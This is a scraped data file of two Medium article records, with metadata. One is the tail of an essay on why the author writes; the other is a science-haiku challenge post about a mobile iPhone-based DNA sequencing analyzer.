After all, I cannot let the voice in me go unheard — I know it’s tough to write a lot but for me, not writing is even tougher.
Experiences. Thoughts. Observations. Emotions. Knowledge.
So much to share. So much to write about.
All these are reasons why I write — and why I will continue to write.
Writing is my attempt to keep alive the hope for freedom. Freedom from judgement, evaluation and validation from others.
A freedom to do what what I want to do — write. | https://medium.com/writers-guild/why-i-write-c9bc1a12b9d4 | ['Bharat Sharma'] | 2019-02-27 09:00:41.801000+00:00 | ['Thoughts', 'Writer', 'Writers On Writing', 'Writing', 'Writers Life'] |
Sequence of life | As the COVID crisis evolves, there is much interest in finding an efficient and portable way to study DNA on a mobile device. A recent study reported in the journal Gigascience describes the first mobile genome sequence analyzer by pairing an iPhone with a handheld DNA sequence — think — the “tricorder” as featured in Star Trek.
According to the study, iGenomics algorithm can potentially map DNA sequences of viral pathogens, such as a flu virus or Zika virus, and identify mutations important for diagnosis and treatment or even for analyzing other viral genomes, such as from a SARS-CoV-2 patient. It would be similar to an iPhone camera replacing the need for a professional camera — well, iGenomics could do the same for DNA sequencing.
*This is part of the #sciku challenge — science-inspired haiku ( so #sciku?) prompts to get you inspired — Our dear readers — why not spend some time each day creating and having a little fun — if you do — publish it anywhere on medium, just tag it with — #30DaysOfScikuChallenge.
**If haikus/scikus aren’t your jam, feel free to exercise your artistic creativity and write another form of a science-inspired story — I can’t wait to read what you come up with.
Tagging Joan O'Donnell KK Malukani, PhD Cody James Howell PhD (Raiden)and anyone else who feels inspired to play along with this fun #30DaysOfScikuChallenge and today’s prompt: Nucleic Acids
Also, check out the latest by ScienceDuuude | https://medium.com/science-soul/sequence-of-life-bab450a32247 | ['R. Rangan Phd'] | 2021-01-12 14:17:54.587000+00:00 | ['Poetry', 'Haiku', 'Covid 19 Crisis', '30daysofscikuchallenge', 'Dna'] |
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